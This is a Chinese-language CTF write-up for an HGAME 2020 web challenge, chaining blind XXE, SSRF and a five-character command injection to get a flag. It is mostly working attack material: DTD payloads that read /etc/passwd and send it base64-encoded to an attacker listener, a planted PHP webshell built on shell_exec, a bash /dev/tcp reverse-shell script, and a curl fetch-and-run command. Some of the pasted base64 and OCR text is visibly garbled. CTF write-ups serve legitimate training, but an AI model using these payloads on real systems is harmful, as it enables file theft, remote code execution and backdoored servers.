HGAME 2020 WEEK 4 WRITE UP

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{Web}

代打出题人服务中心

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拿到题目,虽然这个页面没什么用,但是仪式感还是要有的,来人,安排上


代打出题人服务中心



先抓个包看看,可以发现数据是以 XML文档 的形式发送的

```
POST /submit.php HTTP/1.1
Host: bdctr.hgame.day-day.work
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: http://bdctr.hgame.day-day.work
DNT: 1
Connection: close
Referer: http://bdctr.hgame.day-day.work/
Kmsg><id>123</id></name>123</name><level>123</level><time>123</time></msg>
```

这时候就要考虑一下 XXE 的可能性了



尝试一下引用恶意代码,但是很显然这个页面是不会将回显带回来的,所以要用一个服务器接收一下,相对应的可以用引入外部DTD文档的方法来引入外部实体声明,所以构造一个恶意的外部声明

```
<!ELEMENT msg (id,name,level,time,root)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT level (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ENTITY % zfile SYSTEM "php://filter/read=convert.base64-
encode/resource=/etc/passwd">
<!ENTITY % al "<!ENTITY hello SYSTEM 'http://xxx.xxx.xxx:5555/?%zfile;'>">
%al;
```

然后接收到返回值

```
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [47.103.13.107] port 5555 [tcp/*] accepted (family 2, sport 46694)
GET /?cm9vdDp40jA6MDpyb2900i9yb2900i9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb
2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5
bmM6eDo00jY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo10jYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4
KbWFuOng6NjoxMjptYW46L3Zhci9jYwNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci
9zYmluL25vbG9naW4KbWFpbDp40jg60DptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng60To50m5ld3M6L3Zhci9zc
G9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ21uCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpw
cm94eTp40jEz0jEz0nByb3h50i9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXN
yL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi<u>91c3Ivc2Jpbi9ub2xvZ2luCmxpc3O6eDozOD</u>
pNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkO
i91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0
czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW500i91c3Ivc2Jpbi9ub2xvZ21uC19
hcHQ6eDoxMDA6NjU1MzQ60i9ub251eG1zdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW51dHdvcms6eDoxMDE6MTAyOnN5c3R1bW
QgTmV0d29yayBNYW5hZ2VtZW50LCws0i9ydW4vc3lzdGVtZC9uZXRpZjovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXJlc29sdmU6eDoxM
DI6MTAzOnN5c3R1bWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3J1c29sdmU6L3Vzci9zYmluL25vbG9naW4KbX1zcWw6eDoxMDM6MTA0
Ok15U1FMIFN1cnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA0OjEwNzo6L25vbmV4aXN0ZW50Oi91c3I
vc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMDU6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.0
Host: 121.43.234.6:5555
Connection: close
```

>>> base64.b64decode(b"cm9vdDp40jA6MDpyb2900i9yb2900i9iawl44VymFzaApkYwVtb246eDox0jE6ZGFlbw9u0i9tc3Ivc2JpbjovdXNyL3Niawl4vbm9sb2dpbgpiawl46eDoy0jI6Ymlu0i9iawl46L3Vzci9zYmluL25vb69nawl4Kc3lzOng6MzozOnN5czovZGV20i9tc3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDovDjYINTMBOcnN5bmM6L2JpbjovYmluL3N5bmMK2ZFtZXM6eDolOjYwOmdhbWv20i9tc3IvZ2FtZXM6L3Vzci9zYmluL25vb69nawl4KbWFubDp40jg6ODptYWlsOi92YXIvbWFpbDovdXNyL3Niawl4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vb69nawl4KbWFpbDp40jg6ODptYWlsOi92YXIvbWFpbDovdXNyL3Niawl4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dwNw0i92YXIvc3Bvb2wvdXVjcDovdXNyL3Niawl4vbm9sb2dpbgpwcm94eTp40jEz0jEzOnByb3h50i9iawl46L3Vzci9zYmluL25vb69nawl4Kd3d3LWRMGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3Niawl4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBz0i91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODDozODpNYWlsawl5nIExpc3QgTWFuYWld1cjovdmFyL2xpc3Q6L3Vzci9zYmluL25vb69nawl4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNk0i91c3Ivc2Jpbi9ub2xvZ2luCmdvYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbwluKTovdmFyL2xpYi9nbmF0czovdXNyL3Niawl4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW500i91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ60i9ub25leGlzdGVudDovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDE6MTAyOnN5c3RlbwQgTmV0d29yayBNYW5hZ2VtZVB0LCwsOi9ydW4vc3ladGvtzC9uZXRpZjovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6ANJU1MzQ6Oi9ydW4vc3NoZDovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6ANJU1MzQ6Oi9ydW4vc3NoZDovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6ANJU1MzQ6Oi9ydW4vc3NoZDovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6ANJU1MzQ6Oi9ydW4vc3NoZDovdXNyL3Niawl4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDoxMDI6ANJU1MzQ6Oi9ydW4vc3NoZDovdXNyL3Niawl4vbm9sb2dpbgo=").decode()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nnan:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nucce:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nmww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbockup:x:34:34
:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\ninc:x:39:39:ircd:
/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobo
dy:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-networ
k:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolv
er,,,:/run/systemd/resolve:/usr/sbin/nologin\nmysql:x:103:104:MySQL Server,,,:/nonexistent:/bin/false\nmessagebus:x:104:
107::/nonexistent:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n'

证明通过这种方式可以读取任意文件,因为 Annive 说要打内网,于是看 /etc/hosts

```
root@iZbp1hn8z47kqsj3uphozj2:/# nc -nvlp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [47.103.13.107] port 5555 [tcp/*] accepted (family 2, sport 46716)
GET /?MTI3LjAuMC4xCWxvY2FsaG9zdAo60jEJbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZ1MDA60jAJaXA2LWxvY
2FsbmV0CmZmMDA60jAJaXA2LW1jYXN0cHJ1Zm14CmZmMDI60jEJaXA2LWFsbG5vZGVzCmZmMDI60jIJaXA2LWFsbHJvdXRlcnMKMTcyLjIx
LjAuNzYJaGdhbWUtcHJpdmF0ZQoxNzIuMjEuMC4zMQlmOWYxYjliOTl1MTMK HTTP/1.0
Host: 121.43.234.6:5555
Connection: close
```

解 base64 得

```
Python 3.7.1 (v3.7.1:260ec2c36a, Oct 20 2018, 14:57:15) [MSC v.1915 64 bit (AMD64)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>> import base64

>>> base64.b64decode(b"MTI3LjAuMC4xCWxvY2FsaG9zdAo60jEJbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZlMDA60jAJaXA2L
WxvY2FsbmV0CmZmMDA60jAJaXA2LW1jYXN0cHJlZml4CmZmMDI60jEJaXA2LWFsbG5vZGVzCmZmMDI60jIJaXA2LWFsbHJvdXRlcnMKMTcyLjIxLjAuNzYJa
GdhbWUtcHJpdmF0ZQoxNzIuMjEuMC4zMQlmOWYxYjliOTllMTMK").decode()

'127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02:
:1\tip6-allnodes\nff02::2\tip6-allrouters\nff02:0.76\thgame-private\n172.21.0.31\tf9f1b9b99e13\n'

>>>
```

```
root@iZbp1hn8z47kqsj3uphozjZ:/# nc -nvlp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [47.103.13.107] port 5555 [tcp/*] accepted (family 2, sport 46764)
GET /?6K+35bim5LiK5oKo55qE6Zif5LyNdG9rZW7orr/p164hIC8/dG9rZW49 HTTP/1.0
Host: 121.43.234.6:5555
Connection: close

>>> base64.b64decode(b"").decode()
'''
>>> base64.b64decode(b"6K+35bim5LiK5oKo55qE6Zif5LyNdG9rZW7orr/p164hIC8/dG9rZW49").decode()
'请带上您的队伍token访问! /?token='
>>>
```

提示要带上队伍的 token 来访问,但是问题来了,带上了队伍的 token 之后,没有回显了

```
root@iZbp1hn8z47kqsj3uphozjZ:/# nc -nvlp 5555
Listening on [0.0.0.0] (family 0, port 5555)
```

无法收到仟何东西

搞了很久,通过社会工程学做题法(其实就是 py Annive 师傅 , 才知道是因为 libxml 的读取是有限制的 , 而需要回显的内容已经大于 libxml 所能接收的范围 , 所以需要将数据压缩后再传输

这里卡了很久很久,最后发现是管道符 | 把我坑惨了,最后放弃了管道符,用了嵌套元封装器

构造新的恶意声明,这里采用 zlib.deflate 来压缩数据

```
<!ELEMENT msg (id,name,level,time,root)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT level (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ENTITY % zfile SYSTEM "php://filter/read=convert.base64-
encode/resource=php://filter/read=zlib.deflate/resource=http://172.21.0.76/?
token=5nHJ2IeNlx9dlz8zndHbwP5PyLpRP3U1">
<!ENTITY % al "<!ENTITY hello SYSTEM 'http://xxx.xxx.xxx.xxx:5555/?%zfile;'>">
%al;
```

然后得到回显

```
root@iZbp1hn8z47kqsj3uphozjZ:/var/www/htm1# nc -nvlp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [47.103.13.107] port 5555 [tcp/*] accepted (family 2, sport 37122)
GET /?1VnJb9NAFL73V6QGNYsgE1VCRc1SVLVBSBy5UTRK7E1sxZs8Q00FuSBOSNyQWC7cEKfmSA9I/JkCyb+AeJzEjpe8SSYCLGU8mXnz1
u9tkzRURyOtBnU7doGyC5M0FdU4Nte+wcKMWPEprJ3P3+Fhp7ZmsfuTqbqPrFVCLeJ7jYY+4jscMu99A06NZ7A8OpuxL+URcSg3CqVznSoQj
g01N5gyIvWd3qVuHSGhy0nsg3vj+6SMI08d5RCcn3AnFQNMihN+TEAajx7Ut7RqUEgbCmQMCArvMuT/nwviX5kgZJFfw2D51PPr64+rz9dX
rny+//Pr4avL+0/W3N4E248vvk3eXu5wf0grWmopJQLwQiIiOawjHA8hAnTH3ECFVJ+qAeEJ2VOW6ri65IFLBmLHtGsbBfcKw6tiM2IxKKx
RT/4mEhtED5gUch92mSFg4Algoy822SHpN3n4Yj0Zr5RM4jHSjr5t/PgxPPS/N2Ri3Hzw8xXhLzYF2bK3rPNtKOSii846HhsMh0pllolAUA
hX4KjzRL03OxmgvKli/Y5H92n5NgUMioKtA76mHzgQ1YmugGZ68Ah06SiTmQGqq+t9WUyAlwrq9leYg+eJ0vt61SeD0FIIh8dYEE2tpW8Gf
Pu1SJjESBeC5Je23AIgTqDb0smMTX9ELyog1EVJLE+rXxKSEa7tOffMvNRw+WjxIzRRL6CwssLvu2F4JZRRWQUcL3p3b7biASVZKW4+kTTrP
QwRHSVbQp5+BjVEBinsINRJPOPFoc8fnUj26nrWXRrjqXNSZViCykmzpjn7a54kj4iiIRrpXmmM3ZL5+Ks5YDQjrE6RI3A3pTfdOw4+PZHL
qzJTtSzmd4RCaKPs6T+K+i0A34cjaTRCxGoyQ+XxnGaWEFAyEv91aajuN5F5Qp5Mf94mO+vvQq8d1ybGvpXLZcEeoSLud3yP999FG0W1ZQr
GvuLN7BH9m/AQ== HTTP/1.0
Host: 121.43.234.6:5555
Connection: close
```

同时要用 zlib.inflate 来解压数据,可以写一个 php 小脚本,将待解压数据存放在 temp.txt 中,后面的回显也可以通过这个小脚本来解得原始值

```
<?php
    echo
readfile('php://filter/read=zlib.inflate/resource=php://filter/read=convert.base
64-decode/resource=temp.txt');
?>
```

于是就得到了一个 HTML 页面

```
<?php
error_reporting(0);
$token = @$_GET['token'];
if (!isset($token)) {
    die("请带上您的队伍token访问! /?token=");
$api = "http://checker/?token=". $token;
$t = file_get_contents($api);
if($t !== "ok") {
   die("队伍token错误");
highlight_file(__FILE__);
$sandbox = '/var/www/html/sandbox/'. md5("hgame2020" . $token);;
@mkdir($sandbox);
@chdir($sandbox):
$content = $_GET['v'];
if (isset($content)) {
   $cmd = substr($content, 0, 5);
   system($cmd);
}else if (isset($ GET['r'])) {
    system('rm -rf ./*');
5839
```

从这里可以看出这段脚本给我们提供了一个 shell,但是只允许 5 个字符以内的命令执行这里具体 getshell的过程可以参考这篇文章,这是一个很有意思(超级好玩),但也是很复杂的过程https://blog.csdn.net/gg_27446553/article/details/78502337

```
oot@iZbp1hn8z47kqsj3uphozjZ:/var/www/html# ls
index1.html
                         xxe_file_v3.dtd
                                                        xxe_write_v0.dtd
                                                                           xxe_write_v1.dtd
                                                        xxe_write_v10.dtd xxe_write_v20.dtd
index.html
                          xxe_file_v4.dtd
index.nginx-debian.html xxe_file_v.dtd
                                                        xxe_write_v11.dtd xxe_write_v2.dtd
shell.sh
                         xxe_test.dtd
                                                        xxe_write_v12.dtd xxe_write_v3.dtd
shell.sh.save
                         xxe_write_ls.dtd
                                                        xxe_write_v13.dtd xxe_write_v4.dtd
                                                        xxe_write_v14.dtd xxe_write_v5.dtd
temp
                         xxe_write_pwd.dtd
                                                       xxe_write_v15.dtd xxe_write_v6.dtd
xxe_write_v16.dtd xxe_write_v7.dtd
token
                         xxe_write_shl.dtd
t.sh
                         xxe_write_shl_remote.dtd
                         xxe_write_shl_remote_v1.dtd xxe_write_v17.dtd xxe_write_v8.dtd
xxe_file.dtd
xxe_file_v1.dtd
                                                        xxe_write_v18.dtd xxe_write_v9.dtd
                         xxe_write_shlt.dtd
xxe_file_v2.dtd
                         xxe_write.txt
                                                        xxe_write_v19.dtd
root@iZbp1hn8z47kqsj3uphozjZ:/var/www/html#
```

其中先生成了g文件,内容为

```
ls -tp >f
```

然后再同理构造其他文件, 执行 g, 得到 f 文件如下

```
f
cu\
r1\
 \
0x\
xx
xx \setminus
xx \setminus
xx
1\
ph\
р
g
rev
pt-
s1
f>
dir
```

其中 sh1.php 是我构造的一个 webshell 后门程序,将 sh1.php 放在私人服务器上,方便访问,其代码如下

在从题目服务器请求该文件 (对,有一个 SSRF 始终贯穿这个题目)的时候,会将如下内容写入题目服务器 sh1.php 文件内

```
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>
```

这样当我们请求题目服务器的 /sh1.php?cmd= 的时候就相当于有一个无限制的 she11 了

```
尊敬的 l1ki**hu:

云盾云安全中心检测到您的服务器:

(Webshell)文件。 您可以登录云安全中心控制台-安全告警查看详情和处理。

更多参考: 安全告警常见问题处理
```

执行f文件,成功将shl.php放入题目服务器内

于是接着构造恶意声明

阿里云计算有限公司

```
<!ELEMENT msg (id,name,level,time,root)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT level (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ENTITY % zfile SYSTEM "php://filter/read=convert.base64-
encode/resource=php://filter/read=zlib.deflate/resource=http://172.21.0.76/sandb
ox/934b88f499c04e9deab73f6334731be9/shl.php?cmd=">
<!ENTITY % al "<!ENTITY hello SYSTEM 'http://xxx.xxx.xxx.xxx:5555/?%zfile;'>">
%al;
```

在 cmd= 后接任意命令即可

其实这个地方想过将 she11 反弹回服务器,这样可以为所欲为,不用每一条命令都提交一次请求,找起来也方便

```
oot@iZbp1hn8z47kqsj3uphozjZ:/var/www/html# ls
                         xxe_file_v3.dtd
                                                          xxe_write_v0.dtd xxe_write_v1.dtd
index1.html
                          xxe_file_v4.dtd
                                                          xxe_write_v10.dtd xxe_write_v20.dtd xxe_write_v1.dtd xxe_write_v2.dtd
index.html
index.nginx-debian.html xxe_file_v.dtd
                                                         xxe_write_v12.dtd xxe_write_v3.dtd
xxe_write_v13.dtd xxe_write_v4.dtd
                          xxe_test.dtd
shell.sh
shell.sh.save
                          xxe_write_ls.dtd
                                                         xxe_write_v14.dtd xxe_write_v5.dtd
                         xxe_write_pwd.dtd
temp
                                                         xxe_write_v15.dtd xxe_write_v6.dtd
xxe_write_v16.dtd xxe_write_v7.dtd
                          xxe_write_shl.dtd
token
                          xxe_write_shl_remote.dtd
t.sh
xxe_file.dtd
                          xxe_write_shl_remote_v1.dtd xxe_write_v17.dtd xxe_write_v8.dtd
xxe_file_v1.dtd
                          xxe_write_shlt.dtd
                                                          xxe_write_v18.dtd xxe_write_v9.dtd
                          xxe_write.txt
                                                          xxe_write_v19.dtd
xxe_file_v2.dtd
root@iZbp1hn8z47kqsj3uphozjZ:/var/www/html# cat shell.sh
bash -i >& /dev/tcp/1
                                  1234 0>&1
root@iZbp1hn8z47kqsj3uphozjZ:/var/www/html# cat xxe_write_shl_remote.dtd
<!ELEMENT msg (id,name,level,time,root)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT level (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ENTITY % zfile SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/read=zlib.deflate/re
source=http://172.21.0.76/sandbox/934b88f499c04e9deab73f6334731be9/shl.php?cmd=bash%20%3C(cur1%20-s%20-S%20
-L%20http:////
                          /shell.sh)">
<!ENTITY % al "<!ENTITY hello SYSTEM 'http://l... 1234/?%zfile;'>">
%al;
root@iZbp1hn8z47kqsj3uphozjZ:/var/www/html#
```

但是试了好久都没成功,不知道这个主机是部署在虚拟环境下还是啥。中途想拿到 ip ,拿是拿到了一个,不过可能是路过的一个扫描器。总之是没有成功,而且当前用户是 "nologin" ,可能也有点关系吧?

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin<mark>/</mark>nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:103:104:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:104:107::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
```

不管啦不管啦,找flag

flag在/etc/下, 最终 Payload 如下

```
<!ELEMENT msg (id,name,level,time,root)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT level (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ENTITY % zfile system "php://filter/read=convert.base64-
encode/resource=php://filter/read=zlib.deflate/resource=http://172.21.0.76/sandb
ox/934b88f499c04e9deab73f6334731be9/shl.php?cmd=cat%20/etc/flagg">
<!ENTITY % al "<!ENTITY hello system 'http://xxx.xxx.xxx.xxx:5555/?%zfile;'>">
%al;
```

得到 flag

flag: hgame{XxE!@SsrF_4nD_f1lt3rEd_Rc3_1s_Co01!}